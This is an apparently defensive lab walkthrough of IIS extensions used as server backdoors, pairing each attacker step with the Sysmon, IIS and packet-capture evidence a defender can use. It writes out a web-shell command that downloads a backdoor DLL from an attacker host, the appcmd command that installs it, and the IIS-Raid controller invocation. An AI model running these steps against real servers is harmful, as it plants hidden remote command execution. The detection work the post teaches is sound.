IIS Extensions As Backdoors
Microsoft recently published an interesting blog explaining how they’ve noticed a new trend where attackers have been leveraging Internet Information Services (IIS) extensions to covertly backdoor Windows servers:
The Microsoft post contains a wealth of information on this topic, but I really wanted to dig through the specifics in order to understand what it takes to build an IIS extension, deploy it, and then ultimately see how it executes on a system as it is interacted with.
I’ve always been a huge fan of IIS (7+) and I thought this would be an interesting opportunity to revisit IIS from a more offensive/defensive perspective. I have also noticed that while IIS can be incredibly prevalent in Windows environments, it is often markedly less understood than the open source web server variants like Apache and Nginx. With this in mind, my intention for this post is to cover a little bit about IIS and some of its nuances, demonstrate what malicious IIS extension activity looks like, and hopefully come up with some ideas and log examples to help narrow in on this sort of activity at scale.
What Is IIS?
Internet Information Services (IIS) is Microsoft’s web server platform. With IIS being a generic web server capable of hosting ASP.NET applications, Microsoft also uses IIS to host the web front end components for some their own services like Outlook Web Access (OWA) and Remote Desktop Web Access (RDWeb). So even if an environment is not explicitly hosting sites on IIS, keep in mind that there is a chance that IIS is present in some sort of supporting role.
IIS Vulnerabilities & Exploitation
While IIS can and has had its share of vulnerabilities, the web server itself is relatively mature and vulnerabilities are very rare today.
As explained in the Microsoft post, IIS backdoors are typically deployed in the post exploitation phase. This means that the server has already been compromised by some other means, with the most likely scenario being a vulnerability in the web application that is being hosted by IIS.
IIS Server Features & Application Pool Settings
There are a few features and settings that I want to highlight really quickly that are worth being aware of when it comes to abusing/investigating IIS servers and application pools/worker processes.
The first item is a feature of IIS and web servers in general, host headers. Host headers allow a web server to host multiple web sites behind single IP address. How does the IIS server know to serve up the correct site? The request has to come in with a “host” header (usually the domain) that matches the binding set in IIS:
If investigating traffic to a server purely based off of IP address, this behavior can mix in additional/unrelated traffic. Wireshark filters like “http.host” can be used to help ensure only traffic to the specific domain is included.
Another design feature to point out is that a single IIS server can support thousands of sites and each site will have at least one IIS worker process (w3wp.exe). This means that there can be many instances of w3wp.exe running on a single host, and it can be a little tricky to hone in on the right one. Process IDs and user IDs (assuming they are descriptive) can useful here, the IIS Manager also provides some useful information:
Application Pool Settings
The table below has a few of the more notable default application pool settings:
|The worker process (w3wp.exe) will not start until a request is made.
|Idle Time-out (minutes)
|After 20 minutes with no requests, the worker process (w3wp.exe) will terminate.
|Idle Time-out Action
|The worker process (w3wp.exe) will terminate once the time-out has been reached.
|Maximum Worker Processes
|A single site can have more than one worker process (w3wp.exe) running (aka Web garden).
|5 failures within 5 minutes
|If you run bad enough code to crash the worker process within the threshold, IIS will stop the site, requiring administrative intervention.
|Recycling – Regular Time Interval (minutes)
|1740 (29 hours)
|When this limit is reached, a new w3wp.exe process will be spawned (new PID) and the old one will be terminated once it has finished processing all active requests.
The lab setup for this post is going to consist of two virtual machines, a fully up to date Windows Server 2019 (victim) and a Kali Linux host (attacker). These hosts are on the same network and DNS records have been configured for each host to make it a little easier to differentiate between the hosts themselves and to help distinguish between internal and external connections:
|Windows Server – VMW-L-IIS01
|Kali – iPhone-X
IIS with ASP.NET support was installed on the Windows server using the following command:
PS > Enable-WindowsOptionalFeature -Online -FeatureName IIS-WebServerRole, IIS-WebServer, IIS-CommonHttpFeatures, IIS-Security, IIS-RequestFiltering, IIS-StaticContent, IIS-DefaultDocument, IIS-DirectoryBrowsing, IIS-HttpErrors, IIS-HttpRedirect, IIS-HealthAndDiagnostics, IIS-HttpLogging, IIS-Performance, IIS-HttpCompressionStatic, IIS-HttpCompressionDynamic, IIS-WebServerManagementTools, IIS-ManagementConsole, IIS-NetFxExtensibility45, IIS-ISAPIExtensions, IIS-ISAPIFilter, IIS-ASPNET45
For time sake, I am not going to cover web application vulnerabilities or initial access. The testing in this post will start with the Windows server/IIS site in an “assumed compromised” state, meaning a web shell has already been staged on the server.
For analysis and detection, I will mainly be relying on the following logs and tools:
- Windows OS Logs
- IIS Logs
- SysInternals Sysmon (since the data should be very similar to most Endpoint Detection & Response (EDR) tooling)
- Visual Studio Community (Compiling/Debugging)
- Wireshark (Packet Capture)
I want to keep the logging/tooling set as light as possible to emulate the basic data set that should (hopefully) be available to a defender when investigating a potential incident. Keeping it real, while trying to do more with less.
Web Shells vs IIS Extensions
In a blog post from last year, Microsoft mentioned how they noticed incidents involving web shells were also on the rise:
Web shells are important to note when it comes to IIS extension activity because attackers will typically leverage a web shell to install additional malware, like an IIS extension/backdoor. So before jumping into IIS extensions, I want to talk a little bit about what exactly a web shell is and demonstrate what it looks like moving from a web shell to an IIS extension/backdoor.
A web shell is usually a small piece of software (often a single file) written in a language used for web development (ASP.NET, PHP, JSP), that when uploaded to a web servers root directory, provides an attacker with remote access/code execution. Web shells do not need to be compiled, can be edited in a normal text editor and come in a variety of extensions (.asp, .aspx, .php, .jsp, etc).
The following conditions must be met for an attacker to be able to successfully upload and execute a web shell on a server:
- Remote Code Execution – Attacker has already achieved RCE via a vulnerability in the server or web application, and can now run commands to download or load files from remote sources.
- Write Access – By default IIS identities have minimal write access to the file system, however dynamic applications will often require write access to portions of the webroot and temporary directories.
- Server Side Support – The server must support some sort of web technology (IIS servers typically support ASP/ASP.NET). If an attacker attempts to use a web shell written in a technology that the server does not support, the web shell will not execute.
Web shells will typically be executed under the IIS worker process (w3wp.exe) using the application pool identity (ex – IIS AppPool\DefaultAppPool). With IIS, every new site automatically generates its own application pool and associated identity/account unless otherwise specified. These default IIS AppPool accounts will run with very similar permissions to the Network Service account. While the default settings are promising from a hardening perspective, unfortunately administrators/developers will often end up configuring overly permissive settings in the name of “troubleshooting” an application during the deployment phase and then these settings end up remaining in place.
Web shells come in quite a few flavors and there are plenty of examples/projects available online. Kali Linux includes a few useful and reliable (although likely to get detected if used as is!) web shells that can be found in the default /usr/share/webshells directory:
With this being an IIS server, I will be using the cmdasp.aspx web shell. You can see in the screen shot below, that this web shell is sort of just a web based wrapper providing access to cmd.exe:
Once the web shell has been uploaded to the server, all the attacker has to do is browse to the /cmdasp.aspx page and they are presented with a simple form that executes the submitted input via cmd.exe. The screenshot below shows what it looks like from the attacker perspective on the remote Kali host running “whoami && hostname”:
On the Windows server, the IIS logs captured this activity as a few POST requests against the /cmdasp.aspx page from the attacker host (192.168.90.214), but the logs are otherwise very limited when it comes to visibility:
The Sysmon/Operational logs captured the same activity under Event ID 1 (Process Create):
There is a lot of useful information here – Notice the image (c:\windows\system32\cmd.exe), command line (cmd.exe /c whoami && hostname) and that the parent process is the IIS worker process (w3wp.exe) running under the IIS application pool identity (IIS APPPOOL\iis.robwillis.info).
As a general rule of thumb, IIS worker processes should not be spawning child processes and even more so when it comes to executables like cmd or PowerShell. This behavior alone is usually enough to warrant a deeper investigation, but that is not to say you won’t find a fair share of “legitimate production use cases”. With this in mind, it should become fairly obvious relatively quickly when activity is not something as simple as creating a daily pdf report from a sql database.
Taking a look at the packet capture of the web shell activity in Wireshark reveals the rest of the story about what exactly happened here:
Combining all of this information, we now know who the attacker was (192.168.90.214), how they interacted with the server (/cmdasp.aspx), what was requested/executed (cmd.exe /c whoami && hostname), and what the response was (iis apppool\iis.robwillis.info, VMW-L-IIS01).
We also have a copy of the web shell since it was uploaded to the server:
During the initial manual testing/staging, Windows Defender did happen to grab this particular web shell (cmdasp.aspx) as “Backdoor:ASP/Webshell” – Windows Defender/Operational – Event ID 1116 (Detected) & 1117 (Action Taken):
To keep things moving forward, an exception was created in Defender to allow the shell.
Starting with IIS 7 on Windows Server 2008, Microsoft introduced a modular architecture with a rich set of APIs that allowed developers to extend and customize the functionality of IIS web servers. These IIS extensions support APIs using either native C/C++ or managed C#/VB.NET code structures. IIS extensions will typically be in the form of a dynamic link library (.DLL).
Microsoft has a wealth of information to help understand what it takes to get started developing IIS Extensions that can be found here:
Examples of legitimate IIS extensions and use cases:
- Advanced Logging
- Application Request Routing (Load balancer/reverse proxy)
- Dynamic IP Restrictions
- FTP Publishing Service
- Smooth Streaming
Examples of malicious IIS Extensions:
Compiling & Installing An IIS Extension
For the extension testing, I am going to be using IIS-Raid by 0x09AL. The extension itself is coded in native C++ with a remote controller component written in python. Once installed, the module will process every request sent to the IIS server but will only respond differently if a few special headers and values are passed. MDSec has an in depth blog post on IIS-Raid that can be found here:
Compiling The Extension
Before compiling and using IIS-Raid, some modifications need to be made, starting with the headers in the IIS-Raid-master\module\Functions.h:
Then to build/compile the extension by opening up the solution file (IIS-Backdoor.sln) and going to Build > Build Solution:
Here is the output after building the project, with the extension file being the IIS-Backdoor.dll:
Windows Defender did grab the backdoor (IIS-Backdoor.dll) as “Backdoor:Win32/IISBackdoor.A” right after compiling – Windows Defender/Operational – Event ID 1116 (Detected) & 1117 (Action Taken):
Doing a simple string based analysis on the IIS-Backdoor.dll shows plenty of unique strings (including the headers and password) that make basic signature based detection relatively easy:
It is important to keep in mind that there is absolutely no obfuscation or packing applied to this .dll, which means there is plenty of opportunity to experiment with defense evasion here.
Uploading The Extension
Now that the extension is compiled, it can be uploaded to the IIS server by leveraging something like PowerShell via the web shell to download the extension from a remote host:
powershell invoke-webrequest "http://kali.external-threat.net/iis-backdoor.dll" -Outfile "C:\inetpub\wwwroot\bin\IIS-backdoor.dll"
The Sysmon/Operational logs captured this activity in a similar manner to the earlier web shell testing under Event IDs 1 (Process Create) & 11 (File Created):
Installing The IIS Extension Using AppCmd
Now that the extension is uploaded to the server, it needs to be installed. There are multiple tools/methods available for this part:
- Global Assembly Cache (GAC) PowerShell API
- Manual add via Web.Config
AppCmd is basically the go to tool for administering IIS 7+ via command line, it is known for being easy to work with and exposes all the key server management features, so that is what I am going to use here.
Attempting to install the IIS module using AppCmd via the web shell:
C:\Windows\system32\inetsrv\appcmd.exe install module /name:IIS-Backdoor-via-appcmd /image:"C:\inetpub\wwwroot\bin\IIS-Backdoor.dll" /add:true
Under the default permissions with the default application pool identity, this step fails:
To simulate a privilege escalation or terrible misconfiguration (both of which are very plausible scenarios), the application pool identity was modified from the default account to the local system account:
The web shell reflects the change:
And now the extension installs successfully:
All of this activity is still being performed under the web shell, so as expected the Sysmon/Operational logs captured this with Sysmon Event ID 1 (Process Create) under the application pool worker process (w3wp.exe) as nt authority\system with the entire AppCmd command line:
The extension is now visible in the IIS Manager under Modules:
Interacting With IIS-Raid
Interacting with the IIS server running the IIS-Raid extension is as easy as running the python controller script from the kali/attacker host with the parameters that were specified in the IIS-Raid-master\module\Functions.h earlier:
# python iis_controller.py --url http://iis.robwillis.info --password RobWasHere --header X-Rob-Variations
IIS-Raid has the following commands available:
The screenshot below is what it looks like when the attacker connects to and interacts with the backdoor from the remote Kali host running “whoami && hostname”:
On the Windows server, the IIS logs captured a few GET requests from the attacker host (192.168.90.214) against the root site but with no page or file specified, which makes it a little harder to tell what exactly happened here:
The Sysmon/Operational logs captured this activity under Event ID 1 (Process Create):
This is where I was not sure how extension based activity would look as far as the execution and process chaining, but it ends up looking nearly identical to the web shell activity. Notice the image (c:\windows\system32\cmd.exe), command line (/c whoami && hostname), and that the parent process is the IIS worker process (w3wp.exe) running under the updated IIS application pool identity (nt authority\system). This means that any existing detections for web shells/w3wp.exe activity are already a step in the right direction.
Now to take a look at the packet capture in Wireshark:
One of the first items that stands out is that the command was passed using the “X-Rob-Variations” header (configured via the Functions.h) and the response appears to be returned utilizing the same header but base64 encoded. Decoding the base64 via PowerShell:
PS > [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("bnQgYXV0aG9yaXR5XHN5c3RlbQ0KVk1XLUwtSUlTMDENCg=="))
Reveals the response the attacker observed:
What we are not seeing here, is what exactly the attacker was interacting with. When investigating the web shell activity earlier, we could see that the attacker was interacting with a specific page (cmdasp.aspx), which after manual review, was determined to contain malicious code. With the IIS extension/IIS-Raid, the page that was served up appears to be the web servers default document:
The “Default Document” is actually a setting that is defined on the IIS server that when a request is made to the base site (iis.robwillis.info/ in this case), the server will always return this page as the default:
With this in mind, the default document that was served was the “iisstart.htm” file and it does not appear to contain any sort of malicious code.
At this point we need to take a deeper look into what is going on with the w3wp.exe process…
Image/DLL/Module Loads – w3wp.exe
I want to cover two different methods for investigating this section. The first method will be using Sysmon and is meant to be fast and scalable, similar to what would be available in an EDR solution. The second method uses a minidump and debugger like Visual Studio or WinDbg. This method is more time consuming and requires access to the host but works well in a bind where minimal logging is available. With either method, the end result will be very similar.
Method 1 – Sysmon Event ID 7 – Image Loaded
Before diving into Sysmon Event ID 7, I want to point out that this event is disabled by default and needs to be enabled with the -l option. Why is it disabled? It can be very high in volume and CPU usage, potentially impacting the performance of the host. Keep this in mind before deploying to any hosts in production!
To test this event, I created a simple Sysmon rule limiting the logging of Event ID 7 to the w3wp.exe image:
<!--SYSMON EVENT ID 7 : DLL (IMAGE) LOADED BY PROCESS [ImageLoad]--> <!--COMMENT: Can cause high system load, disabled by default.--> <!--COMMENT: [ https://attack.mitre.org/wiki/Technique/T1073 ] [ https://attack.mitre.org/wiki/Technique/T1038 ] [ https://attack.mitre.org/wiki/Technique/T1034 ] --> <!--DATA: UtcTime, ProcessGuid, ProcessId, Image, ImageLoaded, Hashes, Signed, Signature, SignatureStatus--> <RuleGroup name="" groupRelation="or"> <ImageLoad onmatch="include"> <!--NOTE: Using "include" with no rules means nothing in this section will be logged--> <Rule groupRelation="or"> <Image condition="end with">w3wp.exe</Image> </Rule> </ImageLoad> </RuleGroup>
And then to update the Sysmon configuration and enable the EID 7 – “Image loaded” events with the -l:
Sysmon64.exe -c sysmonconfig-export.xml -l
The screen shot below is an example of what a legit Microsoft extension looks like when being loaded by the IIS worker process:
There’s a ton of useful information in these events like the Image, ImageLoaded, FileVersion, Description, Product, Company, OriginalFileName, Hashes, Signing information with status and the User.
And this is what the IIS-Raid/IIS-Backdoor.dll event looks like:
There are definitely a few red flags here, like the fact that a lot of the values (FileVersion, Description, Signature) are blank, but most of these items are things that could be easily modified to blend in. The log also contains hash info that can then be used help establish prevalence in an environment via something like Splunk/ELK/EDR as well as to validate/detect outliers via 3rd party malware engines like VirusTotal. Since all of the other dlls being loaded by the w3wp.exe process are legitimate Microsoft dlls, the backdoor does stand out as unique.
Method 2 – User Mode MiniDump (Task Manager) & Debugger (Visual Studio)
A minidump or .dmp file is a snapshot of a live process. These dumps contain a bunch of useful information like the memory, stack traces, and what we are looking for in this case – module/dll loads. Windows exposes this feature via api, so it can be called multiple ways with one of the easiest being Task Manager. Most modern EDR solutions will also have tools to support taking memory dumps.
To create a minidump using Task Manager, select the Details tab, then right click on the process (w3wp.exe) and click “Create dump file”:
And now to open the .dmp in a debugger like Visual Studio Community:
Looking through the modules list for outliers, there is one that stands out due to the version (0.0.0.0) and location (it’s the only dll in C:\inetpub\wwwroot\bin\, which is often a writable directory):
If the module did not stand out based off of the few attributes that are initially displayed here, we at least now have a list of all of the modules that were loaded to begin investigating them by gathering similar information to what was available in the Sysmon logs (FileVersion, Description, Product, Company, OriginalFileName, Hashes, Signing info). Just like in the previous method, once this information has been gathered, it can then be used to establish prevalence in the environment and to validate/detect outliers via 3rd party malware engines like VirusTotal.
Wrapping Things Up…
Using the information discovered above, we now have a file worth taking a a deeper look at (C:\inetpub\wwwroot\bin\IIS-Backdoor.dll). Performing a basic string based analysis reveals the link to cmd.exe that was observed in both the Sysmon Events and the network traffic/pcap along with the headers/values that were passed:
We now know who the attacker was (192.168.90.214), how they interacted with the server (iis.robwillis.info/ – IIS-Backdoor.dll), what was requested/executed (cmd.exe /c whoami && hostname), and what the response was (nt authority\system, VMW-L-IIS01).
Defensive Event Summary
Below is a summary of all of the logs and/or sources that were used to investigate the activity covered in this post:
|1116 (Detected) & 1117 (Action Taken)
|cmdasp.aspx detected as Backdoor:ASP/Webshell (Exclusion was added)
|Showed the attacker IP, user-agent, uri (cmdasp.aspx) and method (POST)
|1 (Process Create)
|Captured the command line activity (cmd.exe /c whoami && hostname) under the IIS worker process (w3wp.exe)
|Showed how the web shell was interacted with (POST & View state) along with the commands and the response that the attacker observed
|Manual review of the cmdasp.aspx file on the server confirms it is a web shell
|1 (Process Create) & 11 (File Created)
|Captured the download of IIS-Backdoor.dll from the remote domain to the local IIS directory using PowerShell via the web shell/w3wp.exe
|1116 (Detected) & 1117 (Action Taken)
|IIS-Backdoor.dll detected as Backdoor:Win32/IISBackdoor.A (Exclusion was added)
|1 (Process Create)
|Captured the installation of IIS-Backdoor using AppCmd via the web shell/w3wp.exe
|Showed the attacker IP, user-agent, uri (/) and method (GET)
|1 (Process Create)
|Captured the command line activity (cmd.exe /c whoami && hostname) under the IIS worker process (w3wp.exe)
|Showed how the back door was interacted with (headers and a password) along with the commands and the response that the attacker observed (returned via header/base64 encoded), still no link to local source of activity
|7 (Image Loaded)
|Showed all .dlls loaded by w3wp.exe, revealed outlier (IIS-Backdoor.dll) based on ImageLoaded location (only .dll from wwwroot\bin), blank fields (FileVersion, Product, Company, etc), hash, signature
|Manual review IIS-Backdoor.dll using basic string analysis revealed links to the cmd.exe usage and the headers found in the packet captures